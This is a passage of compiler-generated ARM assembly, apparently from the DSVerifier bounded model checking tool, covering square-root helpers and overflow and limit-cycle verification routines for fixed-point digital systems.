ldr r3, .L1032
sub r3, r3, r2
str r3, [fp, #-20]
ldr r3, [fp, #-20] @ float
ldr r1, [fp, #-24] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r4, r3
ldr r3, [fp, #-20] @ float
ldr r1, [fp, #-16] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r2, r3
ldr r3, [fp, #-20] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fmul
mov r3, r0
mov r1, r3
mov r0, #1069547520
bl __aeabi_fsub
mov r3, r0
mov r1, r3
mov r0, r4
bl __aeabi_fmul
mov r3, r0
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L1033:
.align 2
.L1032:
.word 1597463007
.size sqrt1, .-sqrt1
.align 2
.global sqrt2
.syntax unified
.arm
.fpu softvfp
.type sqrt2, %function
sqrt2:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16] @ float
ldr r3, [fp, #-16] @ float
str r3, [fp, #-8] @ float
ldr r3, [fp, #-8]
asr r3, r3, #1
add r3, r3, #532676608
str r3, [fp, #-8]
ldr r3, [fp, #-8] @ float
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size sqrt2, .-sqrt2
.global __aeabi_fcmplt
.align 2
.global fabsolut
.syntax unified
.arm
.fpu softvfp
.type fabsolut, %function
fabsolut:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8] @ float
mov r1, #0
ldr r0, [fp, #-8] @ float
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
beq .L1037
ldr r3, [fp, #-8]
eor r3, r3, #-2147483648
str r3, [fp, #-8] @ float
.L1037:
ldr r3, [fp, #-8] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fabsolut, .-fabsolut
.align 2
.syntax unified
.arm
.fpu softvfp
.type sqrt3, %function
sqrt3:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #40
str r0, [fp, #-48] @ float
ldr r1, .L1054
ldr r0, [fp, #-48] @ float
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-44] @ float
ldr r2, .L1054+4
ldr r3, .L1054+8
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-36]
mov r1, #0
ldr r0, [fp, #-48] @ float
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
beq .L1053
mov r3, #0
str r3, [fp, #-44] @ float
b .L1044
.L1053:
mov r3, #1
str r3, [fp, #-40]
b .L1045
.L1049:
ldr r3, [fp, #-36]
cmp r3, #0
bne .L1047
ldr r1, [fp, #-44] @ float
ldr r0, [fp, #-44] @ float
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-48] @ float
bl __aeabi_fsub
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r4, r0
mov r5, r1
ldr r0, [fp, #-44] @ float
bl __aeabi_f2d
mov r2, r0
mov r3, r1
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-32] @ float
ldr r1, [fp, #-32] @ float
ldr r0, [fp, #-44] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-44] @ float
ldr r1, [fp, #-44] @ float
ldr r0, [fp, #-44] @ float
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-48] @ float
bl __aeabi_fsub
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_d2f
mov r3, r0
mov r0, r3
bl fabsolut
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1047
mov r3, #1
str r3, [fp, #-36]
.L1047:
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L1045:
ldr r3, [fp, #-40]
cmp r3, #19
ble .L1049
.L1044:
ldr r3, [fp, #-44] @ float
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L1055:
.align 2
.L1054:
.word 1092616192
.word -1998362383
.word 1055193269
.size sqrt3, .-sqrt3
.section .rodata
.align 2
.LC53:
.word __stack_chk_guard
.text
.align 2
.global verify_overflow
.syntax unified
.arm
.fpu softvfp
.type verify_overflow, %function
verify_overflow:
@ args = 0, pretend = 0, frame = 80
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #88
ldr r3, .L1071
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r3, .L1071+4
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-72]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-76]
ldr r3, .L1071+4
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-80]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-84]
ldr r3, .L1071+4
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-76]
ldr r0, .L1071+4
bl fxp_double_to_fxp_array
ldr r3, .L1071+4
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-84]
ldr r0, .L1071+8
bl fxp_double_to_fxp_array
ldr r3, .L1071+12
add r3, r3, #16
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
str r0, [fp, #-88]
ldr r3, .L1071+12
add r3, r3, #8
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
str r0, [fp, #-64]
ldr r3, .L1071+16
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-60]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-56]
ldr r3, .L1071+16
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-52]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-68]
b .L1057
.L1060:
ldr r3, [fp, #-56]
ldr r2, [fp, #-68]
mov r1, #0
str r1, [r3, r2, lsl #2]
bl nondet_int
mov r1, r0
ldr r3, [fp, #-48]
ldr r2, [fp, #-68]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-48]
ldr r2, [fp, #-68]
ldr r3, [r3, r2, lsl #2]
ldr r2, [fp, #-88]
cmp r2, r3
bgt .L1058
ldr r3, [fp, #-48]
ldr r2, [fp, #-68]
ldr r3, [r3, r2, lsl #2]
ldr r2, [fp, #-64]
cmp r2, r3
blt .L1058
mov r3, #1
b .L1059
.L1058:
mov r3, #0
.L1059:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r3, [fp, #-68]
add r3, r3, #1
str r3, [fp, #-68]
.L1057:
ldr r3, .L1071+16
ldr r3, [r3]
ldr r2, [fp, #-68]
cmp r2, r3
blt .L1060
mov r3, #0
str r3, [fp, #-44]
ldr r3, .L1071+4
ldr r2, [r3, #1608]
ldr r3, .L1071+4
ldr r3, [r3, #800]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-44]
ldr r3, .L1071+4
ldr ip, [r3, #800]
mov r3, sp
mov r5, r3
sub r3, ip, #1
str r3, [fp, #-40]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-36]
ldr r3, .L1071+4
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-32]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-28]
ldr ip, [fp, #-44]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-68]
b .L1061
.L1062:
ldr r3, [fp, #-36]
ldr r2, [fp, #-68]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-68]
add r3, r3, #1
str r3, [fp, #-68]
.L1061:
ldr r3, .L1071+4
ldr r3, [r3, #800]
ldr r2, [fp, #-68]
cmp r2, r3
blt .L1062
mov r3, #0
str r3, [fp, #-68]
b .L1063
.L1064:
ldr r3, [fp, #-28]
ldr r2, [fp, #-68]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-68]
add r3, r3, #1
str r3, [fp, #-68]
.L1063:
ldr r3, .L1071+4
ldr r3, [r3, #1608]
ldr r2, [fp, #-68]
cmp r2, r3
blt .L1064
mov r3, #0
str r3, [fp, #-68]
b .L1065
.L1066:
ldr r3, [fp, #-20]
ldr r2, [fp, #-68]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-68]
add r3, r3, #1
str r3, [fp, #-68]
.L1065:
ldr r2, [fp, #-68]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L1066
mov r3, #0
str r3, [fp, #-68]
b .L1067
.L1068:
ldr r3, [fp, #-48]
ldr r2, [fp, #-68]
ldr r3, [r3, r2, lsl #2]
ldr r2, .L1071+4
ldr r2, [r2, #1608]
ldr r1, [fp, #-28]
mov r0, r3
bl shiftL
ldr r3, .L1071+4
ldr r3, [r3, #800]
ldr r2, .L1071+4
ldr r2, [r2, #1608]
str r2, [sp, #4]
str r3, [sp]
ldr r3, [fp, #-84]
ldr r2, [fp, #-76]
ldr r1, [fp, #-28]
ldr r0, [fp, #-36]
bl fxp_direct_form_1
mov r1, r0
ldr r3, [fp, #-56]
ldr r2, [fp, #-68]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-56]
ldr r2, [fp, #-68]
ldr r3, [r3, r2, lsl #2]
ldr r2, .L1071+4
ldr r2, [r2, #800]
ldr r1, [fp, #-36]
mov r0, r3
bl shiftL
ldr r3, [fp, #-68]
add r3, r3, #1
str r3, [fp, #-68]
.L1067:
ldr r3, .L1071+16
ldr r3, [r3]
ldr r2, [fp, #-68]
cmp r2, r3
blt .L1068
ldr r3, .L1071+20
mov r2, #1
str r2, [r3]
ldr r3, .L1071+16
ldr r3, [r3]
mov r1, r3
ldr r0, [fp, #-56]
bl fxp_verify_overflow_array
mov r3, #0
mov sp, r5
mov sp, r4
ldr r2, .L1071
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L1070
bl __stack_chk_fail
.L1070:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L1072:
.align 2
.L1071:
.word .LC53
.word ds
.word ds+808
.word impl
.word X_SIZE_VALUE
.word overflow_mode
.size verify_overflow, .-verify_overflow
.section .rodata
.align 2
.LC54:
.ascii "#matrix STATES -------------------------------\000"
.align 2
.LC55:
.ascii "#matrix OUTPUTS -------------------------------\000"
.align 2
.LC56:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/engine/verify_limit_cycle.h\000"
.align 2
.LC57:
.word __stack_chk_guard
.text
.align 2
.global verify_limit_cycle_state_space
.syntax unified
.arm
.fpu softvfp
.type verify_limit_cycle_state_space, %function
verify_limit_cycle_state_space:
@ args = 0, pretend = 0, frame = 536
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #552
ldr r3, .L1085
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-532]
b .L1074
.L1077:
mov r3, #0
str r3, [fp, #-536]
b .L1075
.L1076:
ldr r3, [fp, #-532]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #264
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-532]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #136
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-532]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #520
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-532]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #392
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1075:
ldr r3, [fp, #-536]
cmp r3, #3
ble .L1076
ldr r3, [fp, #-532]
add r3, r3, #1
str r3, [fp, #-532]
.L1074:
ldr r3, [fp, #-532]
cmp r3, #3
ble .L1077
ldr r3, .L1085+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1085+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1085+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L1085+12
str r3, [sp, #4]
ldr r3, .L1085+16
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1085+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1085+20
ldr r3, [r3]
mov r1, r3
ldr r3, .L1085+20
ldr r3, [r3]
mov r2, r3
sub r3, fp, #140
str r3, [sp, #8]
ldr r3, .L1085+24
str r3, [sp, #4]
ldr r3, .L1085+28
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1085+4
ldr r3, [r3]
mov r0, r3
sub r3, fp, #140
sub r2, fp, #268
ldr r1, .L1085+32
str r1, [sp]
mov r1, #1
bl double_add_matrix
mov r3, #0
str r3, [fp, #-540]
mov r3, #1
str r3, [fp, #-532]
b .L1078
.L1083:
ldr r3, .L1085+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L1085+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1085+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L1085+12
str r3, [sp, #4]
ldr r3, .L1085+36
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1085+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L1085+20
ldr r3, [r3]
mov r1, r3
ldr r3, .L1085+20
ldr r3, [r3]
mov r2, r3
sub r3, fp, #140
str r3, [sp, #8]
ldr r3, .L1085+24
str r3, [sp, #4]
ldr r3, .L1085+40
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1085+8
ldr r3, [r3]
mov r0, r3
sub r3, fp, #140
sub r2, fp, #268
ldr r1, .L1085+12
str r1, [sp]
mov r1, #1
bl double_add_matrix
ldr r3, .L1085+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1085+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1085+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L1085+12
str r3, [sp, #4]
ldr r3, .L1085+16
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1085+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1085+20
ldr r3, [r3]
mov r1, r3
ldr r3, .L1085+20
ldr r3, [r3]
mov r2, r3
sub r3, fp, #140
str r3, [sp, #8]
ldr r3, .L1085+24
str r3, [sp, #4]
ldr r3, .L1085+28
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1085+4
ldr r3, [r3]
mov r0, r3
sub r3, fp, #140
sub r2, fp, #268
ldr r1, .L1085+32
str r1, [sp]
mov r1, #1
bl double_add_matrix
mov r3, #0
str r3, [fp, #-528]
b .L1079
.L1080:
ldr r2, .L1085+36
ldr r3, [fp, #-528]
add r3, r3, #16
lsl r3, r3, #5
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-528]
lsl r0, r1, #2
ldr r1, [fp, #-540]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #4
add r1, r0, r1
sub r1, r1, #520
stm r1, {r2-r3}
ldr r3, [fp, #-528]
add r3, r3, #1
str r3, [fp, #-528]
.L1079:
ldr r3, .L1085+8
ldr r3, [r3]
ldr r2, [fp, #-528]
cmp r2, r3
blt .L1080
mov r3, #0
str r3, [fp, #-528]
b .L1081
.L1082:
ldr r2, .L1085+36
ldr r3, [fp, #-528]
add r3, r3, #20
lsl r3, r3, #5
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-528]
lsl r0, r1, #2
ldr r1, [fp, #-540]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #4
add r1, r0, r1
sub r1, r1, #520
stm r1, {r2-r3}
ldr r3, [fp, #-528]
add r3, r3, #1
str r3, [fp, #-528]
.L1081:
ldr r3, .L1085+4
ldr r3, [r3]
ldr r2, [fp, #-528]
cmp r2, r3
blt .L1082
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
ldr r3, [fp, #-532]
add r3, r3, #1
str r3, [fp, #-532]
.L1078:
ldr r3, [fp, #-532]
cmp r3, #0
blt .L1083
ldr r0, .L1085+44
bl printf
ldr r3, .L1085+8
ldr r3, [r3]
mov r1, r3
sub r3, fp, #524
mov r2, #0
mov r0, r3
bl print_matrix
ldr r0, .L1085+48
bl printf
ldr r3, .L1085+4
ldr r3, [r3]
mov r1, r3
sub r3, fp, #396
mov r2, #0
mov r0, r3
bl print_matrix
ldr r3, .L1085+52
mov r2, #93
ldr r1, .L1085+56
ldr r0, .L1085+60
bl __assert_fail
.L1086:
.align 2
.L1085:
.word .LC57
.word nOutputs
.word nStates
.word _controller+512
.word _controller+256
.word nInputs
.word _controller+768
.word _controller+384
.word _controller+640
.word _controller
.word _controller+128
.word .LC54
.word .LC55
.word __PRETTY_FUNCTION__.7103
.word .LC56
.word .LC46
.size verify_limit_cycle_state_space, .-verify_limit_cycle_state_space
.section .rodata
.align 2
.LC58:
.ascii "X_SIZE must be at least 2 * ds.a_size\000"
.align 2
.LC59:
.word __stack_chk_guard
.text
.align 2
.global verify_limit_cycle
.syntax unified
.arm
.fpu softvfp
.type verify_limit_cycle, %function
verify_limit_cycle:
@ args = 0, pretend = 0, frame = 104
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #112
ldr r3, .L1102
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r3, .L1102+4
mov r2, #3
str r2, [r3]
ldr r3, .L1102+8
ldr r3, [r3, #800]
lsl r3, r3, #1
str r3, [fp, #-84]
ldr r0, .L1102+12
bl printf
ldr r3, .L1102+16
ldr r3, [r3]
ldr r2, [fp, #-84]
cmp r2, r3
movle r3, #1
movgt r3, #0
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
ldr r3, .L1102+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-88]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-92]
ldr r3, .L1102+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-96]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-100]
ldr r3, .L1102+8
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-92]
ldr r0, .L1102+8
bl fxp_double_to_fxp_array
ldr r3, .L1102+8
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-100]
ldr r0, .L1102+20
bl fxp_double_to_fxp_array
ldr r3, .L1102+16
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-104]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-108]
ldr r3, .L1102+16
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-112]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-76]
ldr r3, .L1102+24
add r3, r3, #16
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
str r0, [fp, #-72]
ldr r3, .L1102+24
add r3, r3, #8
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
str r0, [fp, #-68]
ldr r3, .L1102+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-64]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-60]
bl nondet_int
str r0, [fp, #-56]
ldr r2, [fp, #-56]
ldr r3, [fp, #-72]
cmp r2, r3
blt .L1088
ldr r2, [fp, #-56]
ldr r3, [fp, #-68]
cmp r2, r3
bgt .L1088
mov r3, #1
b .L1089
.L1088:
mov r3, #0
.L1089:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
mov r3, #0
str r3, [fp, #-80]
b .L1090
.L1091:
ldr r3, [fp, #-76]
ldr r2, [fp, #-80]
ldr r1, [fp, #-56]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-108]
ldr r2, [fp, #-80]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-80]
add r3, r3, #1
str r3, [fp, #-80]
.L1090:
ldr r3, .L1102+16
ldr r3, [r3]
ldr r2, [fp, #-80]
cmp r2, r3
blt .L1091
mov r3, #0
str r3, [fp, #-80]
b .L1092
.L1093:
ldr r3, [fp, #-60]
ldr r2, [fp, #-80]
ldr r1, [fp, #-56]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-80]
add r3, r3, #1
str r3, [fp, #-80]
.L1092:
ldr r3, .L1102+8
ldr r3, [r3, #1608]
ldr r2, [fp, #-80]
cmp r2, r3
blt .L1093
mov r3, #0
str r3, [fp, #-52]
ldr r3, .L1102+8
ldr r2, [r3, #1608]
ldr r3, .L1102+8
ldr r3, [r3, #800]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-52]
ldr r3, .L1102+8
ldr ip, [r3, #800]
mov r3, sp
mov r5, r3
sub r3, ip, #1
str r3, [fp, #-48]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-44]
ldr r3, .L1102+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-40]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-36]
ldr ip, [fp, #-52]
